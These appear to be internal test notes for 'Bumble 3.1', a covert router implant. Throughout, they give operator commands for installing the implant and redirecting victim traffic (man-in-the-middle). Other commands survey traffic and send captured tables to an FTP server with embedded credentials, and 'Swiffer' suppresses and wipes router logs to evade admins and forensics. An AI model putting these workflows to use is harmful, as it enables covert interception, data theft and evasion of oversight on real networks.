Owner: User #14587667

Bumble 3.1 Test Notes

Test Summary

• Downloaded and installed COGComputer Operations Group ICON Debian 8.1 image. 
• CT 2.7 which was delieved is compatible with current ICON image.
• MTU settings
  • CT MTUMaximum Transmission Unit setting can not go below 120 bytes.
  • Egress from Atk setting delaysim MTU<=108 and CTCounter Terrorism MTU<128 allows CTCounter Terrorism to connect, but states "currenct packet size restrictions are incompatible with selected Score protocol".
  • Ingress to Atk MTU<=508Bytes.
• Score requires a minimum MTUMaximum Transmission Unit of 480Bytes for return traffic (from implant to CTCounter Terrorism).  
• Flux will not be used with this tool so it will not be tested with flux.

Progress/Notes

• Sample survey commands:

  • tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 icmp -en

  • tp survey create 192.0.0.0  255.0.0.0  0  0.0.0.0  0.0.0.0  0 tcp -en

• Sample redirection rule:
  • redir create 10.1.243.2 255.255.255.255 0 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 255.255.255.255 0 0 tcp 10.1.243.2 0 XXX.X.XXX.XXX (JUMPSTART-5[US]) 0 0 -en
• Sample traffic shaping:
  • sudo tc qdisc add dev eth0 root netem delay 2.5s 0.5s loss 25% 25% duplicate 2% corrupt 3% reorder 25% 50%
  • sudo ip link set eth0 mtu 128

Tests

1. Smoke Tests
   1. Install PBD and Establish Comms
      1. Refer to Bumble command script on share.
      2. Inspect logbuffer for logs left by patch installation
         1. dis logbuffer reverse
         2. dis logbuffer summary
         3. dis history-command all
      3. Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/3/2015 (w latency).
   2. Survey - ct_pt1-survey.exp
      1. Reboot DUT, install implant, establish comms via CT.
      2. Confirm implant is installed and activate score
      3. tp cmd "pbd probe"
      4. module show
      5. redir show
      6. module start score
      7. module show (confirm score is activated)
      8. redir show (there should be no rules)
      9. Add survey rule: tp survey create XXX.X.XXX.X (JUMPSTART-5[US]) 255.255.255.0 0 0.0.0.0 0.0.0.0 0 tcp -en
      10. redir show
      11. <sleep for 20 seconds to allow time to survey>
      12. Retrieve trans table: tp showtrans
      13. quit
      14. Successfully tested with Bumble 3.1 on 10/28/2015  (w/o latency) and 11/3/2015 (w latency).
   3. Redirection (MitM) - ct_pt2-redir.exp
      1. Reboot DUT, install implant, establish comms via CT.
      2. Confirm implant is installed and activate score (see Test 2 for commands to run)
      3. Retrieve orignal web page from WWW3: wget --output-document=-=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
         
         1. Confirm that the webpage of WWW3 is retrieved
      4. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0
      5. Source IP/Mask: 192.168.254.6/32  - Atk VM
      6. Source Port Range: 0 0 (any)
      7. Destination IP/Mask: XXX.XXX.X.XX (GB)/32  - WWW3
      8. Destination Port Range: 0 0 (any)
      9. Protocol: TCP
      10. New Source IP:Port: 192.168.254.6:0  - Atk VM
      11. New Destination IP:Port: XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]):0  - WWW4
      12. TTL: 0 (don't change)
      13. redir show
      14. Retrieve orignal web page from WWW3: wget --output-document=-=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
          1. Should be redirected to WWW4.
      15. Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/3/2015 (w latency).
   4. Redirection - automatically disable filter after 5 minutes
      1. Delete old redir rules: redir delete 0
      2. wget --output-document=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
         1. Confirm that the webpage of WWW3 is retrieved
      3. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -t 300 -en
      4. redir show
      5. Retrieve orignal web page from WWW3: wget --output-document=-=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
         1. Should be redirected to WWW4.
      6. Wait 5 minutes
      7. redir show
      8. wget --output-document=- --no-check-certificate -T 90 http://XXX.XXX.X.XX (GB)
         1. Confirm that the webpage of WWW3 is retrieved
      9. Successfully tested with Bumble 3.1 on 11/12/2015 (w/o latency) and 11/12/2015 (w latency).
   5. Transaction Table rollover
      1. Reboot DUT, install implant, establish comms via CT.
      2. Start score: module start score
      3. Configure transtable aging time to 1 second: tp filter -t 1
      4. From Atk: wget --output-document=- http://XXX.XXX.X.XX (GB)
         1. Response should be from Bumble webserver #3 - XXX.XXX.X.XX (GB)
      5. Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      6. Test redir rule: wget --output-document=- http://XXX.XXX.X.XX (GB)
         1. Response should be from Bumble webserver #4 - XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])
      7. Fill up transtable by running the "enterprise" profile on the Ixia.  Also add a survey rule: tp survey create 192.0.0.0 255.0.0.0 0 0.0.0.0 0.0.0.0 0 tcp -en
      8. Check if redir still functions correctly: wget --output-document=- http://XXX.XXX.X.XX (GB)
      9. Response should be from Bumble webserver #4 - XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])
      10. To futher confirm, check transtable using the command "tp showtrans" and take a snapshow of the first 10 entries.
      11. Wait 10 seconds and check the transtable again.  Compare the first 10 entries with the snapshot you took.  The entries should be unique.  With the ixia running, enough entries should be created in a few seconds to cause the transtable to cycle.
      12. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
   6. Swiffer - Log Suppression
      1. Reboot DUT, install implant, establish comms via CT.
         1. Insure swiffer is inactive:  tp swiffer show
      2. Telnet to MSR and issue these commands:
         1. display this
         2. display users
         3. display tcp
         4. display logbuffer reverse
         5. display history-command all
         6. These commands should appear in the logbuffer and history command
      3. Activate swiffer at the CTCounter Terrorism prompt
         1. tp swiffer activate
         2. tp swiffer show
      4. At the MSR console and telnet prompt:
         1. Confirm info-center is disabled:  display info-center
         2. display clock
         3. display ftp client source
         4. display interface brief
         5. display ip routing-table
      5. At the MSR console, issue thes commands
         
         1. Confirm there was no console message about the user connecting via telnet
         2. Confirm recent commands were not logged to log buffer:  display logbuffer reverse
         3. Confirm recent commands are logged to history:  display history-command all
            1. Disabling the info-center will not disable the command history logging.  This is the reason for a snapshot of the history command file to be saved.  The saved history file will overwrite this history when Swiffer is deactivated.
            2. This will also disable logging if a target admin issues commands.  There is no way to distinguish who is issuing the command.
      6. Deactivate Swiffer using CT.  Deactivating Swiffer restores the snapshot to the command history
         1. tp swiffer deactivate
         2. Wait 5 seconds and confirm swiffer is deactivated:  tp swiffer show
      7. At the MSR console and telnet prompt, confirm logs were removed
         1. display logbuffer reverse
         2. display history-command all
      8. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
   7. Swiffer - automatic deactivation
      1. At console: reset logbuffer
      2. ICON: Note the time using the 'date' command
      3. ICON: tp swiffer activate -t 300
      4. Wait 10 seconds
      5. ICON: tp swiffer show  
         1. should be activated
      6. ICON: telnet 192.168.168.5
      7. ICON: display info-center
      8. ICON: dis this
      9. ICON: dis users
      10. At console: dis ip int brief
      11. At console: display history-command all
      12. display logbuffer reverse
      13. Wait until 5 minutes have expired.
      14. Ensure logs have been removed and swiffer deactivated
          1. At console: display history-command all
          2. At console: display logbuffer reverse
          3. ICON: tp swiffer show 
             1. should be inactive
      15. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency)
   8. Redir - Disable all rules then re-enable all rules
      
      1. Disable all redir rules:  redir disable 0
      2. Confirm rules disabled:  redir show
      3. Enable all redir rules:  redir enable 0
      4. Check that redir rules are working.
      5. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
   9. Save transtable to ftp server
      1. Save transtable
         1. tp savetrans ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/transtable.bin -td 30
      2. Confirm transtable exists on FTPFile Transfer Protocol server and then delete.
      3. Save transtable again
         1. tp savetrans ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/transtable.bin -td 30
      4. Confirm transtable exists on FTPFile Transfer Protocol server and then delete.
      5. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency) and 11/3/2015 (w latency).
   10. Save transtable to filesystem

       1. Initial install

       2. Save transtable to filesystem

          1. tp savetrans file:/logfile/.transtable.bin -td 5 -t 3600

          2. dir /all cfa0:/logfile

       3. Delete file from filesystem

          1. delete cfa0:/logfile/.transtable.bin

       4. Save transtable to filesystem.  Can not save transtable to filesystem more than once until autodelete time expires.

       5. Successfully tested with Bumble 3.1 on 11/4/2015  (w/o latency).
   11. Save transtable to filesystem if file already exists
       1. Repeat previous steps to save transtable to filesystem, but do not delete file.
       2. Save file again.  Issue command "dir /all cfa0:/logfile"File time should be updated to the current time indicating file was re-written.
       3. Successfully tested with Bumble 3.1 on 11/4/2015  (w/o latency) and 11/4/2015 (w/ latency).
2. Redirection Test - ACLAccess Control List circumvention
   1. Not plausible with current implant hook point
3. Redirection Test (Lack of route on downstream router) 
   1. Single Rule - ct_pt3-redir.exp (script starts at step iv)
      
      1. Add default route to ASR:  ip route 0.0.0.0 0.0.0.0 XXX.XXX.XX.X (EU-MAP-5[US]) name To_MSR
      2. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]).  It should be successful.
      3. Remove default route from ASR:  no ip route 0.0.0.0 0.0.0.0 XXX.XXX.XX.X (EU-MAP-5[US]) name To_MSR
      4. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]).  It should fail.
      5. Add redir rule:  redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      6. From atk VM, ping XXX.XXX.XX.X (EU-MAP-5[US]). It should be successful.
      7. Successfully tested with Bumble 3.1 on 10/28/2015  (w/o latency) and 11/3/2015 (w latency).
   2. Multiple Rules
      1. Repeat steps from previous test.  Use the following rules:
         1. Loopback on ASR1002:  redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
         2. WWW4 behind ASR:       redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
         1. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
4. Redirection Test - Only specified protocol gets redirected / Lack of routes on MSR
   1. Ensure all redir rules are disabled/deleted.
   2. Attempt to retrieve webpage from Atk VM:   wget --output-document=- http://XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])    This should NOT be able to successfully retreive the webpage.
   3. Add redirection rule to allow TCPTransport Control Protocol from Atk VMVirtual Machine to WWW4 behind ASR:   redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 tcp XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
   4. Retrieve webpage from Atk VM:   wget --output-document=- http://XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US])    This should successfully retreive the webpage.
   5. From Atk VM, ping XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]).  You should not get a ping response.
   6. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
5. Redirection Test - NMAPNetwork security scanner SYNFlag in TCP/IP Protocol Scan (all ports)
   
   1. Not testing since nmap will not be used to do large scans.
6. Redirection Test - NMAPNetwork security scanner SYNFlag in TCP/IP Protocol Scan (< 15 ports) - ct_pt4-nmap.exp
   
   1. Start IXIA traffic (??)
   2. Should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM
   3. Set the transtable to timeout after 1 second so that redir rules don't get disabled:  tp filter -t 1
   4. Add the following redir rules:  
      1. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      2. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
      3. redir create 192.168.254.6 255.255.255.255 0 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en
   5. You should not be able to ping XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]), .2, .10 (/24) from Atk VM:   sudo nmap -sP XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) --mtu 96 --stats-every 5m --min-rtt-timeout 7s
   6. Run the following nmap commands:

      1. Check for open services/ports:  sudo nmap -sS XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.X (EARTHLINKBUSINESS-BLK[US]) XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) -p 21,22,23,25,53,80,110,443,3389 --mtu 96 --stats-every 10m --min-rtt-timeout 7s

   7. Successfully tested with Bumble 3.1 on 10/28/2015  (w/o latency) and 11/3/2015 (w latency).
7. Swiffer (while redir rules enabled)
   1. Repeat redir test (ct_pt4-nmap.exp) and leave it running.  
   2. Activate swiffer
      1. tp swiffer activate
   3. From ICON, connect to target via telnet and execute "dis run", "dis clock", and "dis ip rout"
   4. Disconnect from telnet session.
   5. Deactivate swiffer
   6. Inspect logfile and logbuffer for any traces of telnet connection
   7. Successfully tested with Bumble 3.1 on 10/30/2015  (w/o latency).
8. Swiffer - Multiple Telnet sessions opened simultaneously (ICON session closed first)
   1. Confirm all logs get deleted if there are two telnet open sessions but one session close.  It is assumed that swiffer will start and stop logging when the command is issued, but need to confirm.
   2. From ICON
      1. tp swiffer activate
      2. telnet 192.168.168.5
      3. dis users
      4. dis cellular
   3. From VM#1
      1. telnet 192.168.168.5
      2. dis ddns policy
   4. From ICON
      1. quit telnet session
      2. tp swiffer deactivate
   5. From MSR Console
      1. dis history-command all
      2. dis logbuffer reverse
   6. Successfully tested with Bumble 3.1 on 11/10/2015 (w/ latency).
9. Swiffer - Multiple Telnet sessions opened simultaneously (non-ICON session closed first)
   1. Confirm all logs get deleted if there are two telnet open sessions but one session closes before another.
   2. From ICON
      1. tp swiffer activate
      2. telnet 192.168.168.5
      3. dis users
   3. From VM#1
      1. telnet 192.168.168.5
      2. dis ddns policy
      3. quit telnet session
   4. From ICON
      1. dis cellular
      2. quit telnet session
      3. tp swiffer deactivate
   5. From MSR Console
      1. dis history-command all
      2. dis logbuffer reverse
   6. Successfully tested with Bumble 3.1 on 11/10/2015 (w/ latency).
10. Swiffer - Info-Center gets enabled while Swiffer is active
    1. CT: tp swiffer activate
    2. ICON: dis clock
    3. ICON: dis ip rout
    4. Console: sys
    5. Console: info-center enable
    6. ICON: dis users
    7. CT: tp swiffer deactivate
    8. Console: dis logbuffer reverse
    9. Console: dis history-command all
    10. Once info-center is enabled, commands issues via telnet will appear in the logbuffer (dis logbuffer reverse).  It will not appear in the 'dis history-command all' output.
    11. Swiffer successfully deactivated.  Info-center remained off (dis info-center).
    12. Successfully tested with Bumble 3.1 on 11/2/2015  (w/o latency).
11. Swiffer - Uninstall
    1. Look for remnants ("comsn" and "telnetd")
12. Survey and Redirection used simultaneously
    1. This is NOT recommended, so it will not be tested.
13. Forensics Test - Inspect Netflow on SolarWinds
    1. Inspected multiple times and looks normal.
14. Ad hoc test - ICON disconnected during PBD (patch) installation
    1. telnet 192.168.168.5  (admin/admin)

    2. ftp XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])  (administrator/password)

    3. ftp patch file to MSR.
       1. bin
       2. get patch.bin
       3. quit
    4. dir cfa0: !Confirm patch.bin was copied
    5. install activate patch cfa0:/patch.bin slot 0
       1. Before the patch completes, reboot the ICON VM.
    6. BUM-3
15. Ad hoc test - Multiple reconnects to implant via CT
    1. Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/6/2015 (w/ latency).
16. Reconfigured interface
    1. With implant installed, configure another gigabit interface.
    2. Expect no observables
    3. Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency).
17. Install PBD when PBD is already installed
    1. Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/4/2015 (w latency).
18. Re-attack after PBD already installed
    1. Reboot DUT, install implant, establish comms via CT, and run all tests:  date && sudo time ./reboot_target.exp && sudo ./install_and_run.sh
    2. Disconnect from CTCounter Terrorism session.
    3. Re-install implant and re-run all tests:  sudo ./install_and_run.sh
    4. Inspect 2nd round of test results to ensure tests were passed.  Only one instance of PBD is present.
       1. dis proc cpu slot 0 | include comsn
       2. dis proc cpu slot 2 | include telnetd
       3. dis process memory slot 2 | include telnetd
    5. Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency) and 11/4/2015 (w latency).
19. Forensics Tests
    1. Inspect pcap
       1. UDP packets appear normal
       2. Most TCPTransport Control Protocol appears normal.
          1. Telnet connections cause a lot of red to appear, likely due to the unreliability of the connection (delay sim is running).  Telnet connections also receive a RSTReal-time Transport Protocol from the MSR periodically.  It seems the MSR (server) issues the RSTReal-time Transport Protocol packet to close the telnet session.
20. Performance testing (IXIA)
    1. Looked through IXIA report and SolarWinds graphs.  All interfaces seem normal.
21. Check Cisco 3825 (OSPFOpen Shortest Path First neighbor) for any anomolies
    1. Checked 11/5/2015

Operator Notes

• Do not use survey and redirection at the same time.
• Do not save transtable to the filesystem.  Only save to an ftp server.
• Disabling logging (using swiffer) will also disable logging for a target admin.
  • swiffer will not hide telnet connection from "show users" output.
• Commands execute while swiffer is enabled will not be removed from the history (dis history-command all) until swiffer is deactivated. They will not appear in the log buffer at all (dis logbuffer).  Info-Center will also be disabled as long as swiffer is active.  If info-center is re-enabled (ie. by an admin), commands issues via telnet will appear in the logbuffer (dis logbuffer reverse).  It will not appear in the 'dis history-command all' output.
• Add TP note about using Nmap with Score.
• How do we clear a kernel exception log should one occur?
• Once swiffer is stopped, it can not be restarted unless you re-install PBD.
• "comsn" on the MPU and "telnetd" on the SPU are the swiffer process.  If swiffer is removed, the PBD remains installed but these processes will no longer appear.  Swiffer is required to us the "tp savetrans" command.